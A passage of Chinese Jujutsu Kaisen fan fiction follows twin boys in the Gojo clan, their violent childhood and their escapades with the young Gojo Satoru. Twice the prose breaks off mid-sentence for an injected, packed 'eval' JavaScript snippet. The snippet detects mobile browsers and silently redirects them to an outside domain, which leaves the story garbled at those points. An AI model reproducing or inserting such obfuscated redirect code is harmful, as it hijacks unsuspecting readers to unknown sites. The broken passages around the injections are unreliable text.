星海的视力不好,但面对同样只有四、五岁的小屁孩们,他算得上超级能打。他在树荫下找到了躲起来的弥山,迅速地凑了上去,却被一拳砸在了嘴角。 “起开,热死了。” 弥山收回手,甩甩生疼的指骨,重新闭上眼睛。 星海舔着口腔内壁的血口,直接骑在他身上揍。 “老师!双胞胎又打起来了!” 在被拉开之后,弥山蹭着流到嘴巴里的鼻血,趁着老师不注意又踹了星海一脚。 他们再一次被叫到了祖父祖母那里,不过谁也没听到那两个老人说了什么。罚跪?抄书?就算两个老人准备进行体罚,也会受到激烈的反抗。因为害怕落得和日照大我同样的下场,每场惩罚最终都会不了了之。 弥山和星海一前一后地穿过木质回廊,遮雨的苇帘被风吹起,和檐下悬挂的铜风铃一起发出属于夏天的伴奏。 五条家的族地很大,主屋的大广间有百叠左右,绘着精美又古老图案的金箔屏风将其分为单独的几间,隔出来的上段之间是家主的居所。只有家族中出现需要举行集会的重大事件时才会撤掉那些屏风。 比如六眼的降生。 所有的五条族人都被召集至主屋,弥山和星海也在其列,不过以他们的身份只能待在边角。那是他们第一次意识到这座族地里居然生活着这么多人。 弥山远远地看了一眼被当今家主抱在怀里的婴儿,白色的头发非常耀眼。被取名为悟的孩子正在酣睡,没有人敢惊扰他,数百人屏气吞声,静静等待着他自行醒来。 他们等了一个小时?还是两个小时?久到弥山已经垂头靠在星海的肩膀上睡着了,才在众人压抑不住的惊呼声中被吵醒。 “......”弥山看了看五条悟的眼睛,又看了看星海的眼睛。 “真漂亮啊。”他当时对星海说。 “去吃饭?” 星海递给他一张纸,弥山接过扭了两圈塞进鼻子里堵住鼻血。 他们绕路去了厨房,没有人会专门给双子留饭,想吃的话只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137760|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能用院子里单独的小灶台自己做。因为被叫走训话,他们错过了晚饭时间。 星海的味觉很敏锐,通常是他在一旁“监督”弥山放调料,就算多撒了一丁点都会被他尝出来,所以弥山每次都专心致志地放调料,绝不手抖。除非他们刚打完架。 可惜他的兄弟和他一样心有灵犀,提前拿走了盐罐。 厨房的食材都很新鲜,即使再不受欢迎,他们也不至于在吃食上被为难。甚至可以说因为星海的天赋,他们得到了一些恩惠。 “去泡澡?” 吃完调味正常的晚饭,他们溜达着走到了温泉的附近。他们不知道五条家的温泉是是不是来自地下天然的硫磺泉,但没人会拒绝在被山茶花包围的石砌浴池中舒舒服服地享受温泉。 如果他们没有撞上大人物们的话。 通过棣棠花丛包围的渡廊入口,穿越池塘,对岸就是温泉所在。弥山和星海走在池塘边的石板路上,看到了渡廊上被一小群人包围着的中心。五条悟趴在一个女性的怀中,苍天之瞳哪怕在临近黑夜的时候也熠熠生辉。 他们去的正是温泉的方向,看来今晚弥山和星海是不会被允许靠近的了。 弥山问:“看出什么了?” 星海扯着他离开:“一岁的小屁孩能看出什么来。” 弥山去掐他的胳膊:“那我们今年四岁,该怎么叫?” 星海使劲拍开他的手:“臭小鬼啊。” 上次特意在去道场的路上合伙揍他们的人就是这么叫的。弥山掰着手指头,他伸出四个手指,把食指摁了下去,留下三根。 既然泡不成温泉,那就可以去找点别的事干了。 前庭的枯山水早晚各有不同的人负责打理,今晚的老人也按时来到了院中。弥山跟在星海的后面,随手捡起脚边的石块把玩。老人绕着院中的黑山石,用木耙将细小的白色石头梳理成水流的模样。 星海带着弥山绕到了附近的缘侧,躲进了盛开着的皋月牡丹花群中。重瓣多色的花朵环绕着他们,浓郁的香气刺激着星海过于敏锐的感官,在他想打喷嚏的时候,弥山把他扑倒摁在肚子下面,挡住了他的声音。 “笨蛋。” 星海蹭蹭鼻子,继续带着弥山向前。他们像是游鱼一般游弋在花海中。 选定了一处回屋的必经之路,两个孩子悄然蛰伏起来。 “完啦,我们没带麻袋。”弥山悄悄凑到星海的耳边说道。 “我们哪有麻袋。” 星海“啪”地拍死了一只蚊子,看着弥山胳膊上被咬出的包,烦躁地又拍死一只。 “你的声音太大了,会被听到。” “闭嘴笨蛋弥山。” 孩子们的报复简单又粗暴,在见到人的一瞬间,星海冲上去用自己的襦袢外的小袖裹住了头部,借着冲劲将人扑倒。剩下的自不用交流,四只拳头发狠地揍上了那人的身体。他们不打脸,但是肚子上却来了好几下。 被打的少年牵着一个小孩,孩子被吓得大哭起来,很快便有脚步声靠近。 两个人打完就跑,裹着脑袋的小袖也没有带走。 那孩子指认了他们,祖父祖母无数次想要管教他们,但日照大我的死状实在让人毛骨悚然,因此也只是形式上地教训了一顿,扣掉了他们的一些零花钱。 那个夏天他们过得很辛苦,因为每过几天就要挨一顿打。大多是族内十一、二岁的少年,他们结队来找弥山和星海的麻烦。就算看到双子的脸上每天伤不重样,一连两个月都不曾彻底消停,教导孩子们体术启蒙的老师和族内的大人们都不以为意。 本就是不祥,受到本家接纳自然应该感恩戴德。但那对兄弟活得太嚣张,吃点苦头也是应该的。 弥山和星海从不吃亏。挨一顿打,那就还回来。弥山一个一个地数着,晚上只需要数人头就能哄着自己入睡。但是在族人那样的纵容下,这样的欺凌开始变本加厉。 到了秋天,前庭周围的枫树火红。 有人用了术式。他们不仅是在拳头上附着了咒力,在遭到了激烈的反抗之后,爆发的咒力光芒让星海微微眯眼。 鲜红的血和被风吹落的枫叶搅合到了一起,让叶片失去了它的轻盈。 弥山抬手摸了一把,摊开的手掌被染上了赤色。 他忽然对这场持久的拉锯战感到了腻烦,这些人像小井一样失去了对他的吸引力。他们扑向因为用了术式伤人而慌张的少年,准备结束这场“游戏”。 大人们赶过来时,少年的头上已经被石头砸得血肉模糊。 这次是他们自出生以来被分开最长的时间。一人一间,弥山和星海被分别关在了道场尽头的小黑屋里。 没有食物,只有水。被放出来的时候,弥山右侧太阳穴的伤已经发炎溃烂,散发着腐臭。 本家的长老,是除了家主之外最德高望重的老人,也是当时同意杀死弥山补完六眼实验的人,他宣布了他们的未来:“那个孩子的脑受到了损伤,已经不能再为家族效力。你们中的一个要顶替他的位置。” 正如传闻中的那样,这对兄弟从不听别人说话。老人的话没有得到任何回应,他们贪婪地盯着对方,星海的视线落在模糊身影上那片刺眼的红。 那晚他像之前那样给弥山敷药、绑好绷带。不过这次已经熟练了太多。 他们将腿伸出缘侧,躺在桧木地板上,乘着秋夜的凉风看月亮。 “这里,”弥山开口,“好无聊。” “那我们明天出去。”星海凑到他的脸旁,只有在这个距离他才能清楚地看见弥山的模样。药膏的苦涩味道刺激着他的鼻腔,他打了一个喷嚏,遭到了弥山愤怒地飞踢:“你的口水和鼻涕都甩到我的身上了!” 星海不以为意,把剩下的脏东西全都蹭到了他的衣服上。 “我们明天出去吧。” “你为什么学我说话?” “谁学你?” “你啊。” “我们明天出去吧我们明天出去吧我们明天出去吧明天出去出去出去出去......” 弥山被星海拖进屋里裹紧被子,扔到了角落里。 30. 外面的世界 离开这里比想象中的更容易。 因为没有人管教,又有遭人厌弃的身份,听闻他们暴力伤人的守门人也没了为难的心思,睁一只眼闭一只眼。 弥山和星海发现哪怕他们不去参与体术训练,哪怕他们天天从侧门光明正大地离开,也没有人会在意他们的下落。 但是外面的世界不比族内更好生存。他们没有钱,在被饿死或冻死之前会被警察当作流浪儿带去警察署,然后本家就会有脸色臭臭的家仆跑来接他们回去。 祖父和祖母单独叫走了星海,弥山在他们院落中无所事事地游荡。他破坏了规规矩矩的枯山水,蹲在墙头和趴着打盹的白猫面面相觑。 屋内,老人劝诫星海不要放弃他的咒术天赋。比起平平无奇的弥山,哪怕星海没能觉醒术式,拥有咒力的他至少能混进外勤队去,如果能够辅佐未来的家主,也就是现在的六眼小少爷,那他的未来一片光明。 他们苦口婆心地劝了半天,因为星海一点反应都没有,最终只能挥手赶他出去。果然没用的女儿生下来的东西也是废物。 弥山和星海存不住钱,他们现在直接从偏院的墙翻到外面去,哪怕有结界记录到他们私自外出,但也没人在意。 他们像是在五条家角落里落籽的野草,野蛮地生长着。 五岁那年的夏天,他们觉醒了术式。 只要不在别人面前展露,那么就不会有人知晓他们的情况。野草就是这样,究竟是枯萎还是开花,都不过是不值得理睬的浮尘。 不过,这样就好。族内的其他人都巴不得自己的孩子早些觉醒术式,争来斗去,就更没有人会在意他们了。 六岁那年的冬天,他们躲在被子里取暖。星海揪着弥山的头发把人扯到自己的附近,正在偷偷看七龙珠漫画的弥山习以为常地仰头靠了过去,换了个姿势继续翻漫画书。星海摸着他的右眼,太阳穴那里留下了一大片深色的疤。本应能够感受到眼球颤动的地方如今空空如也,星海摸着垮塌的眼皮,不知道在想什么。 他把手搭在了孩童纤细的脖子上,感受着脉搏的跳动。 他的术式【仳】的威力,在他三岁那年就已经初见端倪。 “你真的是我的兄弟吗?” 弥山唰地扔掉了漫画书,满眼惊奇地看着他:“你终于肯承认自己是个笨蛋了吗?” 他们之间的距离足以让星海看清那片深红色的疤。他扯着弥山的头发,另一只手掀开了空荡荡眼皮。那里面虽然什么都没有了,但红色的肉被触摸到还是会有异样的感觉。 但是星海总是这样做,弥山也就随他去了。 星海没有和任何人说过,他清楚地记得日照大我、他们生理上的父亲被分解的每一个画面。人类似乎太脆弱了一点。 上一次是一只眼球,下一次会是哪里? 我们相同的灵魂并不能让你免受我给予的伤害。 “太弱了,”星海说,“简直碰一下就会死。” 弥山抬头,疑惑地说:“你才是。明明能看到‘我的术式’,却觉得我很弱吗?” 他从地板上爬起来,撑开被子的一角,星海瞬间感觉到一阵冷风从空洞里钻了进来。 他第一次看到自己的兄弟露出那让痴迷于什么东西的表情。 “——明明咒术这么有意思——” 星海伸手捂着弥山的嘴巴,听到了自己猛烈的心跳声。 有意思?这种东西、这种东西!! 弥山笑得眉眼飞了起来,与他异体同心的星海自然读懂了他在想什么。 啊,原来是个胆小鬼啊~ 在他愣神的时候,弥山已经躲开了他的手。重新躺回他的身边,人体的温暖渐渐驱散了蹿进来的冷风。他下意识地贴了过去,他们像过去无数个夜晚一样相拥而眠。 迷迷糊糊地睡着前,星海听见弥山说:“但是,这里还是很无聊啊。” 弥山虽然嘴上说着喜欢咒术,但从来不会去学堂听讲,反而总是对着一些花花草草发呆。他会在四下无人的时候,给星海变“让花种迅速开花”的魔术。 “没办法将它变成猫又呢。”弥山指着悠闲走在墙檐上的白猫。 “那是妖怪吧?不可能存在的东西怎么会变成现实呢?” “为什么不可以呢?” 弥山的眼睛看向了渡廊上赏鱼的孩童。 “我说,”他又扭头看了看那只白猫,“你想看看猫又吗?” 星海捂住了他的眼睛。 “在这里不行。” 人太多了。他没办法带着弥山离开。 不过,只要再等一年就好。七岁还没有觉醒术式的孩子会被命令搬出族地,如果拥有咒力,可以接受外勤培训,为五条家的“窗”工作。等搬出了这里,他们就自由很多了。 “我们要去哪儿呢?” “......”他们还有妈妈。星海已经知道了妈妈的名字,但是并不知道她的下落,连她在哪个城市生活都不清楚。 “就我们两个。”搬出族地、回归普通人的生活,这个选项的尽头是一笔对孩子们来说不菲的金钱。再加上有仍在族内的父母接济,不会过得太差。 既没有天赋,又不想走,还可以留在家里做个仆人。 当然,他们从来没有考虑过“离开”以外的选择。 七岁过后的第一个夏天,他们被叫去了金碧辉煌的主屋。 现任家主与未来的家主并不是父子关系,但没有人敢质疑五条悟的地位。听说现任家主已经有搬出上段之间的想法,似乎盼着五条悟早早长大成人,替他顶上这个位子。 因为比御三家的另外两家更早出现了可能继承相传术式的孩子,针对五条家的打压和威胁愈演愈烈。所有人都在等着五条悟觉醒【无下限咒术】,给咒术界来个一锤定音。 就算是弥山和星海也都听说过关于五条悟的悬赏金额以亿为单位起步,至今仍在不断增加。 但这一切都跟他们没关系。 “你们已经这个年龄了,如果还没有觉醒术式,就考虑一下今后的去处吧。”有长老提过,当初他们让家族损失了一个新生力量,因此有必要留下其中一个填补这个空缺。家主自然是明白那个老头的用意。 毕竟怎么看,都只有星海有留下的才能。那少年是长老的血亲,虽然关系不近,到底是“自家人”。外加看那对形影不离的兄弟活得太自我,索性拆散他们。 不是记恨,只是在自己的权力范围内惩罚自己看着不爽的人罢了。 当今家主数着日子等待退位,懒得管老头子们的那些弯弯绕绕,每天看护五条悟那个小祖宗都让他焦头烂额,这对兄弟留不留着都无所谓。 “为什么要走?” 分不清男女的童声从身后传来,星海回头,看见了他这个赝品的原作。 五条悟眼眶里的才是真正的苍天之瞳。 他在所有人的面前伸手指向了瞪视着他的弥山和星海,说道:“你们不是有术式吗?” —— “都是你的错,是你说这个臭小鬼今天不在的。” 弥山吃着冰激凌,坐在公园的秋千上。 星海坐在他旁边的秋千,对不情不愿推他们的五条悟说:“再使点劲啊。” “我想吃蛋糕。” 五条家的小少爷终于不干了,站在两个在秋千上坐了十分钟的人渣面前“恶狠狠地”看着他们。 弥山吃掉最后一口,使唤他去仍垃圾。 “快去,待会儿带你去吃蛋糕。” 五条悟显然不信:“你们刚才就是这么说的!哪有你们这样骗人的!” 弥山掐着他的脸:“要不是你突然跑出来,我们明天就能走了。” 小孩的脸嫩得很,轻轻用力就掐出几个红印子来。 星海两眼放空,盯着沙地上玩耍的小孩子们。 弥山使劲把五条悟头上的帽子往下压,直到他大声抗议才放过了他:“他可是行走的十亿。” “说点靠谱的吧,”星海翻了个白眼,“我们该走了。” 弥山跳下秋千,抓住了五条悟的手。 三个小孩的组合明显非常引人注目,但恰巧他们三个都不是会在意旁人目光的类型。除了需要应付问他们是不是走丢了的好心人之外,有星海在,他们基本可以很轻松地躲开找来的家族术师。 五条悟闹着要吃甜的,六眼对他的精力消耗实在太大。 “已经没钱了。”弥山和星海兜里空空如也,星海为了赔罪买的那根冰激凌已经用完了他们带出来的所有存款。 毕竟是临时起意,没有提前做好准备。 “你就算闭上眼睛也能看得清楚吗?像是建筑物这种无咒力的物体是怎么分辨的?难道是通过残秽来确认吗?” 弥山拉着五条悟问个不停,如果小孩拒绝回答,他就会问起别的。比如【无下限咒术】,族里肯定有长老和五条悟讲解过这个五条家的相传术式。 星海对此兴致缺缺,他们找到了一个商场,这里面要凉快许多。 实在不厌其烦,五条悟推开弥山说道:“干嘛对别人的术式这么感兴趣啊!你又不可能会用。” “因为咒术很有趣啊。” 弥山的回答理所当然。星海在此时恍然觉得,他的世界从出生起就因为咒术而与众不同,那么弥山呢?他的世界是否因为生得术式的觉醒而产生了变化呢? “金片寿司?那玩意儿和普通的寿司有什么区别吗?” “不知道诶,但是好贵!” “看起来只是撒上了碎金片而已......好失望!这和用金箔纸包起来的巧克力有什么区别?不管用什么包不都是巧克力吗?” 星海一个不注意,那两个人就扑到人家餐厅外面趴在玻璃上看客人桌子上的寿司。 “想去迪士尼。” “那是哪?在东京吗?” “但是没钱。” 五条悟的眼睛还盯着那盘金片寿司:“你们得带我去。” 弥山拉着他在老板出来赶人前从玻璃旁走开:“成交。” 新宿街头的每一个人都穿着五条悟没见过的名牌衣服,三个穷光蛋拐进了一条商店街,弥山一头冲进书店找最新的漫画,五条悟站在琳琅满目的招牌前犹豫了几秒,拉着星海走进了游戏厅。 以他们的年纪本来是进不去的,但这里的老板已经很熟悉那个眼睛有点问题的孩子,因为没给他惹过麻烦,所以就放他们进去了。玩不了游戏机,他们就只能站在别人后面看着。 游戏厅里黑漆漆的,闪烁着显示器屏幕的荧光。 五条悟看了一会儿,直接大大咧咧地站在游戏机旁“指点江山”,帮那个人赢了好几把。他尝试了几种不同类型的街机游戏,虽然没办法自己上手,但也玩得很尽兴。当他兴致勃勃地准备让星海再带他去别的地方玩玩时,发现他一直坐在饮料机旁边的凳子上发呆。 小少爷走过去,有点别扭地问这个“绑架犯”:“喂,你干嘛就在这坐着?” 既然好不容易从家里溜出来,不应该抓紧时间好好玩吗? 搞得好像那些总是看着他的仆人们一样,和不管去哪里、不管干什么都会跟在他身边叽叽喳喳说个不停的那些人似的。五条悟并不反感这些人,毕竟从出生起他身边总是围满了各种各样的人。 “你不知道吗?”星海扒开自己的眼皮,让五条悟的六眼清楚地看到了那双赝品:“也对,应该不会有人和你说这些。我的眼睛可没有你的那么好用,它现在只能看到你留在这个游戏厅里的残秽。” 五条悟伸出四根手指在他面前不远不近的地方停住,问他:“这是几?” 星海拍开小孩的手:“你个咒力集合体跟我玩这个?” 五条悟这回是真的有点吃不消了,星海跟老板要了一小杯果汁,承诺下次来的时候把钱补上。 “那你之前跟他出来都干什么啊?” 五条悟拉着他去别的地方玩,一边左右环顾一边问道。 “......”星海没有回答他的问题。 他们在这条商店街消磨了整个下午。弥山正准备换一本杂志,突然看见五条悟站在书店外面拼命敲玻璃。他来不及把漫画书放回去,路过店员的时候直接塞到了他的怀里,三步并作两步冲了出去。 “是诅咒师。”星海带着他们迅速离开。 “你还真受欢迎。”弥山嫌弃五条悟跑得太慢,在他肩膀上拍了一把。 “......”五条悟感受着仿佛马上就要脱离重力限制的轻盈身体,睁大眼睛在弥山身上来回扫视。 他们一路冲到了河堤旁边,前方就是一览无余的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137761|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斜坡。五条悟感觉一下子像是刚从水池里上岸一样,身体沉重了起来。弥山一手一个拉起星海和五条悟,径直向前冲去。 “哈哈!哈哈哈哈!”他发出一连串的笑声,五条悟觉得自己已经被扯得快要飞起来了,再这样下去他们会直接摔到河里去吧!? 弥山一脚踏在斜坡顶端,带着他们飞腾至半空。 他们真的好像在飞一样,一步跃过了长长的草坡,向着涓涓流淌的水面落去。在飞起的刹那,五条悟眼中的时间变得缓慢,他的眼睛将不曾见过的景象一览无余。在他们的正前方,无数烟火恰在此时于傍晚的夜空中绽放。 永远如同最澄澈的天空一样湛蓝的眼瞳终于染上了一点别的颜色。 弥山扯着他们向河面落去,五条悟只觉得小腿上被溅到了几滴河水,弥山踩着水面几步跃到了对岸。 他把有点大脑过载的五条悟甩到柔软的草坡上,对着星海说:“怎么样!?我还能飞得更高!!” 他完全沉浸在自己的世界里,兴奋地讲着自己是如何将“跳跃”的概念加以强化并变成现实,他觉得自己还能让“飞行”变成现实,只不过这个持续时间可能会非常短。 上游传来一些吵闹的声音,紧接着就被远方烟火大会的响声遮住了。 星海看着烟花的颜色在弥山的脸上不断变换,那只黑色的眼睛闪着光。 烟火的声音太吵了,他没有听见弥山说了什么。 弥山看着他,闭上了嘴巴。他从拽着五条悟爬上了草坡,靠近附近的桥。 他们走到桥上远远地看完了整场神宫外苑烟火大会。五条悟在最初的兴奋劲过了之后就被五彩斑斓的烟花持续轰炸,眼睛难受得不得了,蹲下去揉眼睛。 等到烟花大会逐渐落幕,只偶尔有一两声炸响外,夜晚重归寂静。 弥山和日照都没有要走的意思,五条悟挤进他们中间,趴在栏杆上露出头来:“所以你们带我出来到底想干嘛?” 这场临时起意的“绑架”怎么看都漏洞百出。虽然是他自己在听到“要出去玩吗”的时候就那么抓住了那只手,但他把这当做他的道歉。遵循内心的愧疚做出的选择,不就是在道歉吗? 老师教给他的知识如果记错了,他不需要向老师道歉。在其他的事情上,从没有人指出过他是否做错了什么,他只会被要求不要做“不被允许的事”,但是就算做了也不会有什么惩罚。打碎了瓷碗的仆人会说对不起,他们还会跪在地上,像是族会上见到他的人们一样,低低俯下身,只留下一个后背和后脑勺给他看。 他的六眼看见了弥山和星海身上的术式,他听见了他们的对话,所以他戳破了他们的谎言。只是那之后,他们看向他的眼神和其他人都不一样。 其他被他指出术式的孩子总会第一时间看向父母,眼睛里是懵懂的喜悦。那些大人们的眼神更复杂一些,五条悟懒得细想,总归都还是高兴的意思。 弥山撑着下巴:“准备把你带到没人的地方扔掉啊。” “哈?” “因为你是个讨厌鬼。” “那为什么没扔掉?” 弥山转着眼珠,视线在五条悟身上绕了几圈:“因为你是个讨厌鬼。” 星海和弥山一样撑着下巴,他们两个像是复制粘贴一样看着五条悟。人与人的关系真的很神奇。不知道什么时候产生了交集,也不知道什么时候就会断开。 五条悟的降生改变了他们的命运,至少从这一点上来说,无知无觉的小婴儿让他们与既定的分离擦肩而过。 只是因为突发奇想地改变了路线,五条悟就恰好在那个时候出现在了主屋。 五条悟听不懂他们在说什么,但是能明白讨厌鬼不是什么好词。所以他妄自把弥山和星海也归入了讨厌鬼的行列,谁叫他们骗他说吃蛋糕结果现在还没吃上。 上游传来了一声落水声。 在河岸边欣赏烟火的一家人蜂拥到了河边,变得吵闹了起来。 “响!阿响!!” 有人高呼着谁的名字,五条悟定睛一看,有个黑影正在随着河水往下游飘了过来。看上去是个三、四岁的小孩,脑袋在水面上起起伏伏,伸着两根胳膊不知道挣扎。 一个女人在河边跑着,后面的男人已经跳到水中想要抓住落水的孩子,但是他们是顺流而下的方向,这条河虽然看起来风平浪静,但其实水流速度一点都不慢。他尝试了很多次都无法轻易缩短和孩子的距离。 那个孩子漂过弥山他们所在的桥时,腿已经浮起来了,整个人看上去不省人事般趴在了水面上。 五条悟看了看身边的两个人。想起星海看不清之后,他又看向弥山。 弥山还是那副撑着下巴的样子说道:“想去就去呗。” 五条悟跑到桥的另一侧往下看。他又回头看了看弥山。 星海扭头看向下游的方向:“弥山。” “放着不管也会有人收拾掉的吧?” “是式神使。” 本家的人要是这么久都没追过来那才都是废物呢,星海已经看到了熟悉的咒力,看来这次神子“离家出走”的确让很多人慌得要命。站在下游河道边靠过来的应该是个诅咒师,奔着那笔能够让人下半辈子衣食无忧的赏金来的吧? “我知道了啦。”弥山伸出手,星海握了上去。 他一只脚跨上了桥栏杆。五条悟想要牵他的另一只手,结果腰间一紧,整个人被拦腰卷在了胳膊下面。 “待会儿记得捞人。”星海的声音从身后传来,五条悟还没反应过来,熟悉的腾飞感再次笼罩了他们。 弥山的力道掌控得很好,他们落在水面上时的距离不远不近,刚好够五条悟伸手从河里扯住那个落水的孩子。 下一刻他和星海就被一股巨力甩了出去。他看着旋转着接近的草地,手里紧紧抓住湿透了的衣服。预想中和草坡的亲密接触并没有发生,星海夹着他稳稳落在了地面上。 女人从他手中抢走了落水的孩子,不过五条悟和星海都没有在意身边的动静。他们看着本不该出现的冰层凝结了河水,弥山像是发现了什么好玩的事情,他向前跑着,脚下是触之浮现的冰花。 矮身躲过诅咒师的式神,他半跪在不断扩大的冰层上,手撩起水花。 飞扬的水滴变成了利器,洞穿了诅咒师的身体。 31. 也许还算不错 “他死了吗?”五条悟问。 星海注视着诅咒师倒下的方向:“死了吧。” 弥山趁着冰层消失之前跳回了岸上。他没有多看那具尸体两眼,径直甩着手上的水珠走回星海和五条悟的身旁:“所以?你想好了吗?” “再等等吧。”星海收回目光。 弥山弯下腰,把湿漉漉的指尖顶在五条悟的鼻子上:“你应该知道怎么做吧?小少爷?” 五条悟皱着眉向后退了两步,发现星海还攥着他的手腕,用泛着点蓝的淡色眼睛看着他。 末了,他压低声音说:“我知道了啦。” 星海松开五条悟,那小孩默默站得远了一点。 “你......你是星海吗?” 落水孩子的母亲想要谢谢他们的救命恩人,却在看到那双异于常人的眼睛后想起了什么,犹豫着叫出了记忆中的名字。 非术师? 他们没能说上话,本家的术师们就找了过来。看着星海被一群穿着古板又老气的人包围,那位女性识时务地抱着孩子退后了。 星海本就对她没有任何印象,准备跟着五条族人回族地。 临走时,弥山回头看了她一眼。 小井只是看到了那只黑色的眼睛就知道那个孩子认出她来了。但很快就移走的目光似乎是在说,他们之间的联系没有必要重新接续,就此别过已经是最好的选择。 “谢谢你们!谢谢你们救了阿响!!” 母亲紧紧抱着自己怀里的孩子。 五条悟单独被人接走了,大部分术师跟着回了族地,星海和弥山被扔在了路边。 “还以为会被关小黑屋呢。”弥山双手抱头,一边溜达一边说。 “你不能用术式把他‘催熟’吗?一下子长大的那种。” 弥山哼哼唧唧地想了半天,最后仰天长叹:“不行啊——完全想象不出来他长大会是什么样!” 是个只穿老式和服的小古董?还是整天大喊“我是超级赛亚人”的中二病? “拜托你把他想得更像是个正常人一点吧......” 弥山和星海开始去族地的学堂上课了。星海总是在咒术课上睡觉,有关国文和外文的小课上更精神一点。弥山最喜欢在咒术课上问老师各种问题。 在关于生得领域的问题上,他因为过于纠缠不休而被老师赶出去了。他拿着写满歪歪扭扭的字的本子,蹲在走廊的地上独自写写画画。 下课的时候,其他孩子路过他的身旁,小声嘲笑他“不受老师喜欢”。 星海踢了一下他的小腿:“走了,吃饭去。” 弥山扯着他的裤子:“等等我腿麻了!” 他们照例去厨房,仆人们正在将各家的午饭装盒摆放,送到各家屋里去。当然没有他们的份,单独的小灶台却被人拆了。 “怎么说?”弥山不介意去里面做饭。 “两位,”就在他准备撸袖子的时候,身后有人叫住了他们,“悟大人在等你们。” 走在他们前面带路的女性仆人非常年轻,穿着拘束的衣服,行走的速度却丝毫不慢。身体前倾的幅度也没有任何变化,就像有只咒灵趴在她背后摁着她的后背一样。 五条悟居然就直接进了他们的偏院,正趴在地板上翻看弥山的漫画书。 “慢死了!”看到他们之后,五条悟扔下漫画书,好像他才是这间院子的主人一样招呼他们。 “你不知道不要随便翻别人的东西吗?” “请慎言,在悟大人面前不得失言!悟大人,请您......” 年轻女性的动作没有任何变化,礼仪无可挑剔。她就那样一个一个地纠正着五条悟的行为,似乎连说话的语音语调都要规规矩矩的才行。 弥山挑眉,他和星海都没有打断她。 五条悟也没有。 他只是平静地听完了,然后说了一句“我知道了”。 弥山无声地比了一个“哇哦”的口型。 五条悟找了个理由把她打发走了,但院子外还有很多家族术师,只不过碍于他的命令只能游荡在小小的偏院之外。 “不管你想干什么,我现在都要去解决午饭问题。”弥山饿得要命,准备下午逃课出去吃饭。 “诶~你们不想和我一起吃饭吗?” 弥山露出嫌弃的表情:“我才不要,想也知道你那里规矩多得要死,不会连一口菜要嚼多少口再咽都要管吧?” “你不用自己做饭哦。” “你在哪吃?” 星海摁住弥山的头:“然后呢?” 五条悟坐在缘侧的边缘,看天看地,没有说话。 “哪有白吃的午餐,”星海哼笑一声,“尤其是在这里。” 五条悟撇撇嘴:“老头子好像很看中星海,他们说你的术式很厉害。” “小孩儿别说谎话,容易尿裤子。”星海随口唬他。 五条悟晃着腿,在这所小小的偏院里恣意做着所有他不被允许事。其实他还偷吃了他们放在橱柜里的糖果,但是放得有点久,糖果软化粘牙,说话的时候还能听到黏在齿面上的糖被挤压的“咯吱”声。 “因为老子觉得无聊啊,”他舔着残留的糖渣,目光空空,“无聊得要命。” 弥山笑了起来:“至少要说敬语吧,臭小鬼。” 小少爷和偏院的兄弟走得很近,这样的传闻不知何时传遍了整个族地。据说他们会一起吃饭,学堂的孩子们也发现那他们兄弟两个下课也不会再往厨房的方向去了,于是这个传言愈发真实。 “弑父的灾星有什么资格靠近悟大人!?” “......偶尔还是会有这种人的啊。”弥山笑到仰倒,肚子的肌肉都快要抽过去了。 “你!?” 五条悟是神子。见过他的人不会反驳这句话,至少这小孩长得是真好看。 “没什么没什么,只是觉得好玩而已。”弥山挥挥手,让看起来比他大几岁的脸色不善的少年别在意这么多。 “哈——?真有人这么说!?哇,好恶!”五条悟瘫在榻榻米上吐舌头。 “看你这幅样子就会幻灭了吧?” 星海踢开弥山的手臂,抽走被蹭得皱皱巴巴的脏衣服:“滚起来把衣服穿上。” “热死了,快叫你家老头子装个空调啊。” “谁叫你们不去我那里。”五条悟快被热晕了。 星海回来的时候发现弥山还只穿着短裤,直接将短袖扔到了他脸上。脸被盖住的弥山只觉得头被烘烤着,右边的疤一到夏天就开始发痒。有什么冰凉的东西被扔到了他光着的身上,他被冻得一激灵。 “——!?”口齿不清地翻身起来,他发现星海和五条悟都叼着还在冒冷气的棒冰看向他。 五条悟捂着脸颊,他最近有点牙疼。 弥山掐着他的脸左右看了一会儿,说他长蛀牙了。 从外头看牙医回来之后,五条悟看甜食的眼神变了。 “按理说,【无下限咒术】能够让你不长蛀牙。毕竟糖碰不到你的牙嘛。”弥山一本正经地说。 星海嗤笑:“‘神子’也会长蛀牙喔。” “能不要那样叫我吗?感觉变成了咒灵一样的东西了。”五条悟迫于牙医的恐怖压迫感,决定忍痛戒掉甜食......一周。不,还是两天吧。 “所以,”他吸着气,有些含混地说,“你们想要什么礼物吗?” 弥山还在他的本子上写写画画,没有抬头。星海问了一句:“什么礼物?” “当然是生日礼物了!”五条悟看着托盘上的小蛋糕有些蠢蠢欲动:“我也要!” “还有小半年呢,你也太心急了吧。”现在才刚刚进入八月份,他们的生日都在十二月,再怎么说也太着急了一些。 “是吗?”这是五条悟第一次为别人准备‘生日礼物’,也是他第一次和别人要礼物。 时间似乎总在睁眼、闭眼之间快速溜走了。他们攒了些钱,准备在新年之后带着五条悟偷偷跑去迪士尼。如果钱不够的话就从五条悟那里扣,总之他们是这样计划的。毕竟五条悟什么都不缺,衣食住行自有五条族人为他准备最好的。 但是他们的“礼物”没能送出去。 在新年初诣后,五条悟觉醒了【无下限咒术】。 